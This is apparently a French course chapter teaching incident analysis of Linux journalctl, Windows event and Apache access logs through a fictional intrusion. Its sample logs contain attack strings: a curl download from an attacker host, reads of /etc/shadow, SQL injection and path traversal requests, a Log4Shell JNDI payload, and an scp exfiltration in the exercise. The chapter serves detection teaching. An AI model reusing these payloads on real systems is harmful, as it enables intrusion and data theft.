Lire et analyser des logs : Linux, Windows, web

Analyser des logs, c'est lire les journaux d'un système pour y retrouver ce qui s'est passé : qui s'est connecté, d'où, ce qu'il a fait, et si une attaque a eu lieu. Ce chapitre donne une méthode, puis détaille la lecture des trois familles de journaux que tu croiseras le plus : le journal d'un serveur Linux, l'Observateur d'événements de Windows et les journaux d'accès d'un serveur web. Il se termine sur les signatures des attaques courantes et la construction d'une chronologie.

Une méthode en cinq temps

Devant un extrait de journal, à l'examen comme en entreprise, on ne lit pas ligne à ligne en espérant tomber sur quelque chose. On suit une méthode.

1. Situer : quelle machine, quel journal, quelle période, quel fuseau horaire ? Quel est le format d'une ligne ?
2. Filtrer : ne garder que ce qui concerne la question (les échecs de connexion, les erreurs 500, une adresse IP).
3. Compter : combien d'échecs, depuis combien d'adresses, sur combien de comptes, en combien de temps ? Les attaques automatisées se voient d'abord dans les volumes.
4. Relier : rapprocher les événements entre eux et avec les autres sources (un échec puis un succès, une connexion puis une commande).
5. Conclure : nommer l'attaque, dire si elle a réussi, citer les lignes qui le prouvent, proposer la suite.

Lire les journaux d'un serveur Linux

Sur une Debian récente, les événements sont conservés par le journal de systemd et se lisent avec journalctl. Avec l'option -o short-iso, chaque ligne a la même structure :

2026-10-13T03:00:50+02:00 srv-web sshd-session[3139]: Accepted password for deploy from 203.0.113.45 port 40256 ssh2
└─ horodatage ─────────┘ └ hôte ┘ └ processus[PID] ┘ └ message ─────────────────────────────────────────────────────┘

Les commandes à connaître :

Les messages de SSH à reconnaître :

Exemple : le serveur web des Ateliers Morvan

Le 13 octobre au matin, Mehdi exporte le journal SSH de la nuit de srv-web dans un fichier ssh.log (65 lignes) pour l'analyser. Les premières lignes de l'attaque :

2026-10-13T02:58:41+02:00 srv-web sshd-session[3101]: Invalid user admin from 203.0.113.45 port 40112
2026-10-13T02:58:42+02:00 srv-web sshd-session[3101]: Failed password for invalid user admin from 203.0.113.45 port 40112 ssh2
2026-10-13T02:58:45+02:00 srv-web sshd-session[3102]: Invalid user admin from 203.0.113.45 port 40114
2026-10-13T02:58:46+02:00 srv-web sshd-session[3102]: Failed password for invalid user admin from 203.0.113.45 port 40114 ssh2

Il compte les échecs, puis les regroupe par adresse source et par compte visé :

grep -c "Failed password" ssh.log

41

grep "Failed password" ssh.log | grep -oE "from [0-9.]+" | sort | uniq -c | sort -rn

     38 from 203.0.113.45
      3 from 198.51.100.77

grep "Failed password" ssh.log | sed -E 's/.*Failed password for (invalid user )?([^ ]+) from.*/\2/' | sort | uniq -c | sort -rn

     12 root
     11 deploy
      9 admin
      6 test
      1 ubuntu
      1 pi
      1 oracle

grep -o n'extrait que la partie qui correspond au motif ; sort | uniq -c compte les valeurs identiques ; sort -rn trie du plus grand au plus petit. Cette chaîne de commandes sert pour n'importe quel journal.

Reste la question décisive : une tentative a-t-elle réussi ?

grep "Accepted" ssh.log

2026-10-12T18:02:11+02:00 srv-web sshd-session[2210]: Accepted publickey for lea from 192.168.10.25 port 50432 ssh2: ED25519 SHA256:q3Vf0bXk2m9yJ1t8sVd4hP0eW7cR5nLzA6uK2oT1iBs
2026-10-13T03:00:50+02:00 srv-web sshd-session[3139]: Accepted password for deploy from 203.0.113.45 port 40256 ssh2
2026-10-13T08:31:54+02:00 srv-web sshd-session[4420]: Accepted publickey for lea from 192.168.10.25 port 51877 ssh2: ED25519 SHA256:q3Vf0bXk2m9yJ1t8sVd4hP0eW7cR5nLzA6uK2oT1iBs

La deuxième ligne est la mauvaise nouvelle. Et le journal de sudo dit ce que l'attaquant a fait ensuite :

2026-10-13T03:01:30+02:00 srv-web sudo[3142]:   deploy : TTY=pts/1 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
2026-10-13T03:02:45+02:00 srv-web sudo[3148]:   deploy : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/curl -s -o /tmp/.x http://198.51.100.23/x

Conclusion. Entre 02:58:42 et 03:00:50, soit un peu plus de deux minutes, l'adresse 203.0.113.45 a tenté 38 mots de passe sur quatre comptes : c'est une attaque par force brute (ou par dictionnaire). Elle a réussi sur deploy, un compte de déploiement qui acceptait l'authentification par mot de passe depuis Internet et avait le droit d'utiliser sudo. L'attaquant a lu /etc/shadow, le fichier des empreintes de mots de passe, puis téléchargé un fichier caché /tmp/.x depuis 198.51.100.23. Les trois échecs de 198.51.100.77 sur ubuntu, oracle et pi sont, eux, le bruit de fond d'Internet : des robots essaient ces noms sur tous les serveurs exposés.

Lire les journaux Windows

Sous Windows, l'Observateur d'événements (eventvwr.msc) regroupe les journaux. Les trois principaux sont Sécurité (authentifications, comptes, accès audités), Système (services, pilotes, démarrages) et Application. D'autres se trouvent sous Journaux des applications et des services, comme celui de PowerShell (Microsoft-Windows-PowerShell/Operational).

Chaque événement porte un identifiant (ID). Une poignée d'entre eux couvre l'essentiel des enquêtes.

Dans un événement 4624 ou 4625, deux champs comptent particulièrement : le type d'ouverture de session et l'adresse du réseau source.

Pour un 4625, les champs État et Sous-état disent pourquoi l'ouverture a échoué : 0xC000006A (sous-état) pour un mot de passe faux sur un compte existant, 0xC0000064 (sous-état) pour un compte qui n'existe pas, l'état général valant alors 0xC000006D ; 0xC0000234 pour un compte verrouillé. Des milliers de 0xC0000064 sur des noms variés trahissent un robot qui devine des noms de comptes ; quelques échecs 0xC000006A sur beaucoup de comptes différents, chacun avec le même mot de passe courant, trahissent une pulvérisation de mots de passe (password spraying), conçue pour passer sous le seuil de verrouillage.

En PowerShell, Get-WinEvent interroge les journaux, y compris à distance ou dans un fichier .evtx exporté :

# Les échecs d'ouverture de session des dernières 24 heures
Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4625; StartTime = (Get-Date).AddHours(-24) }

# Les mêmes, comptés par adresse source (lue dans les données XML de chaque événement)
Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4625; StartTime = (Get-Date).AddHours(-24) } |
    ForEach-Object { ([xml]$_.ToXml()).Event.EventData.Data | Where-Object Name -eq 'IpAddress' } |
    Group-Object '#text' | Sort-Object Count -Descending | Select-Object Count, Name

# Un journal exporté depuis une autre machine
Get-WinEvent -Path .\securite-dc01.evtx -FilterXPath "*[System[EventID=4720 or EventID=4728 or EventID=4732]]"

Lire les journaux d'un serveur web

Apache et Nginx écrivent une ligne par requête dans le journal d'accès (/var/log/apache2/access.log sur Debian). Le format le plus courant, dit combiné, contient neuf informations.

Le code de statut HTTP oriente la lecture :

Les adresses des requêtes sont encodées : un caractère spécial devient % suivi de son code hexadécimal. Il faut savoir décoder les plus fréquents : %20 (espace), %27 (apostrophe), %22 (guillemet), %3D (=), %2C (virgule), %2F (/), %3C et %3E (< et >), %7B et %7D ({ et }).

Exemple : le journal d'accès du site de vente

Voici treize lignes du journal d'accès du site des Ateliers Morvan, le 13 octobre au matin (les navigateurs sont abrégés) :

192.168.10.31 - - [13/Oct/2026:09:14:02 +0200] "GET /catalogue.php?cat=3 HTTP/1.1" 200 8412 "-" "Mozilla/5.0 (… Firefox/131.0)"
203.0.113.80 - - [13/Oct/2026:09:20:11 +0200] "GET /admin/ HTTP/1.1" 404 196 "-" "Mozilla/5.0 zgrab/0.x"
203.0.113.80 - - [13/Oct/2026:09:20:11 +0200] "GET /phpmyadmin/ HTTP/1.1" 404 196 "-" "Mozilla/5.0 zgrab/0.x"
203.0.113.80 - - [13/Oct/2026:09:20:12 +0200] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0 zgrab/0.x"
203.0.113.80 - - [13/Oct/2026:09:20:12 +0200] "GET /wp-login.php HTTP/1.1" 404 196 "-" "Mozilla/5.0 zgrab/0.x"
203.0.113.80 - - [13/Oct/2026:09:20:13 +0200] "GET /.git/config HTTP/1.1" 404 196 "-" "Mozilla/5.0 zgrab/0.x"
198.51.100.14 - - [13/Oct/2026:09:31:40 +0200] "GET /produit.php?id=12 HTTP/1.1" 200 5120 "-" "sqlmap/1.9#stable (https://sqlmap.org)"
198.51.100.14 - - [13/Oct/2026:09:31:41 +0200] "GET /produit.php?id=12%27%20AND%201%3D1--%20- HTTP/1.1" 200 5120 "-" "sqlmap/1.9#stable (https://sqlmap.org)"
198.51.100.14 - - [13/Oct/2026:09:31:42 +0200] "GET /produit.php?id=12%27%20AND%201%3D2--%20- HTTP/1.1" 200 311 "-" "sqlmap/1.9#stable (https://sqlmap.org)"
198.51.100.14 - - [13/Oct/2026:09:31:44 +0200] "GET /produit.php?id=12%27%20UNION%20SELECT%20login%2Cmdp%20FROM%20client--%20- HTTP/1.1" 500 612 "-" "sqlmap/1.9#stable (https://sqlmap.org)"
192.168.10.31 - - [13/Oct/2026:09:33:10 +0200] "POST /panier.php HTTP/1.1" 302 - "https://www.ateliers-morvan.example/catalogue.php?cat=3" "Mozilla/5.0 (… Firefox/131.0)"
203.0.113.99 - - [13/Oct/2026:09:40:05 +0200] "GET /facture.php?fichier=../../../../etc/passwd HTTP/1.1" 200 1893 "-" "curl/8.5.0"
203.0.113.99 - - [13/Oct/2026:09:41:17 +0200] "GET / HTTP/1.1" 200 9120 "-" "${jndi:ldap://198.51.100.23:1389/a}"

Hugo commence par les volumes :

awk '{print $9}' access.log | sort | uniq -c | sort -rn

      6 200
      5 404
      1 500
      1 302

awk '$9 == 404 {print $1}' access.log | sort | uniq -c

      5 203.0.113.80

awk découpe chaque ligne sur les espaces : $1 est l'adresse IP, $7 le chemin demandé, $9 le code de statut. Puis il cherche les motifs d'attaque connus :

grep -iE "union|%27|\.\./|jndi" access.log | awk '{print $1, $7}'

198.51.100.14 /produit.php?id=12%27%20AND%201%3D1--%20-
198.51.100.14 /produit.php?id=12%27%20AND%201%3D2--%20-
198.51.100.14 /produit.php?id=12%27%20UNION%20SELECT%20login%2Cmdp%20FROM%20client--%20-
203.0.113.99 /facture.php?fichier=../../../../etc/passwd
203.0.113.99 /

La cinquième ligne sort parce que jndi figure dans l'agent utilisateur, pas dans le chemin. Lecture des quatre comportements :

• 203.0.113.80, un scan : cinq chemins classiques (/admin/, /phpmyadmin/, /.env, /wp-login.php, /.git/config) en deux secondes, tous en 404, avec un outil de balayage. Sans effet, mais l'adresse est notée.
• 198.51.100.14, une injection SQL qui fonctionne : l'outil sqlmap ajoute ' AND 1=1-- - puis ' AND 1=2-- - au paramètre id. La première condition, toujours vraie, renvoie la page normale (5 120 octets) ; la seconde, toujours fausse, une page presque vide (311 octets). Si le paramètre était correctement traité, les deux réponses seraient identiques. Cette différence prouve que la saisie modifie la requête SQL : la page est vulnérable (injection SQL et requêtes préparées). La tentative UNION SELECT login,mdp FROM client provoque une erreur 500, mais l'outil peut ajuster sa requête jusqu'à réussir. Pour corriger ce type de faille dans le code, vois le cours sécurité des applications.
• 203.0.113.99, une traversée de répertoires réussie : fichier=../../../../etc/passwd remonte l'arborescence pour lire un fichier système. Le code 200 et la taille de 1 893 octets, typique d'un /etc/passwd, indiquent que le fichier a probablement été renvoyé. Le code de facture.php doit être corrigé d'urgence.
• 203.0.113.99, une tentative Log4Shell : la chaîne ${jndi:ldap://198.51.100.23:1389/a} placée dans l'agent utilisateur vise les applications Java qui journalisent cet en-tête avec Log4j 2. Le site est en PHP : la tentative est sans effet. Mais l'adresse 198.51.100.23 est celle d'où le fichier /tmp/.x a été téléchargé par SSH à 3 h. Les deux attaques partagent la même infrastructure.

Les signatures des attaques courantes

Reconstituer une chronologie

La dernière étape consiste à fusionner les extraits en une chronologie unique, une ligne par fait, triée par heure, avec la source de chaque fait. Pour l'incident de srv-web :

La chronologie montre ce qu'aucun extrait ne montrait seul : une même infrastructure (198.51.100.23) relie l'intrusion SSH de la nuit et une partie des attaques web du matin, et l'alerte de 3 h 05 n'a été traitée qu'à 7 h 40, plus de quatre heures et demie après. Ce délai sera un point du retour d'expérience.

À l'E7

L'extrait de journal à analyser est l'un des documents les plus fréquents des sujets.

• SISR, métropole 2026 (U7), cas SPARCLE : la question A1.4 demande de rechercher, dans seize lignes du journal d'un serveur web, les traces d'une attaque Log4j. Le bulletin du CERT-FR fourni en annexe donne les motifs à chercher (${jndi: et $%7Bjndi:) ; on les retrouve dans un identifiant de connexion envoyé depuis une adresse qui utilise PowerShell comme agent.
• SLAM, métropole 2026 (U7), cas NDV : la question A1.2 fait relever dans les journaux du SGBD les éléments qui prouvent qu'un compte applicatif se connecte depuis une autre adresse que le serveur local, avec plus de droits que nécessaire.
• SLAM, Nouvelle-Calédonie 2023 (alors E6, U6), cas Yak : la mission C2 demande d'identifier tous les événements d'un extrait du fichier de journalisation d'une application, puis d'émettre une hypothèse sur l'événement suspect dans une note au responsable.
• SISR, métropole 2023 (alors E6, U6), cas de la Ville du Parc : le document C5 est un extrait du journal Sécurité d'un poste (événements 4663, accès aux fichiers), à rapprocher des indicateurs de compromission d'un rançongiciel.

Exercices

2026-10-20T22:41:03+02:00 srv-ged sshd-session[812]: Failed password for root from 203.0.113.12 port 51002 ssh2
2026-10-20T22:41:09+02:00 srv-ged sshd-session[815]: Failed password for root from 203.0.113.12 port 51010 ssh2
2026-10-20T22:41:15+02:00 srv-ged sshd-session[818]: Failed password for root from 203.0.113.12 port 51016 ssh2
2026-10-20T23:05:47+02:00 srv-ged sshd-session[901]: Failed password for m.ouali from 192.168.20.14 port 50122 ssh2
2026-10-20T23:05:55+02:00 srv-ged sshd-session[901]: Accepted password for m.ouali from 192.168.20.14 port 50122 ssh2
2026-10-20T23:07:12+02:00 srv-ged sudo[934]:   m.ouali : TTY=pts/0 ; PWD=/home/m.ouali ; USER=root ; COMMAND=/usr/bin/tar czf /tmp/ged.tgz /srv/ged
2026-10-20T23:09:40+02:00 srv-ged sudo[951]:   m.ouali : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/scp /tmp/ged.tgz backup@198.51.100.60:/data/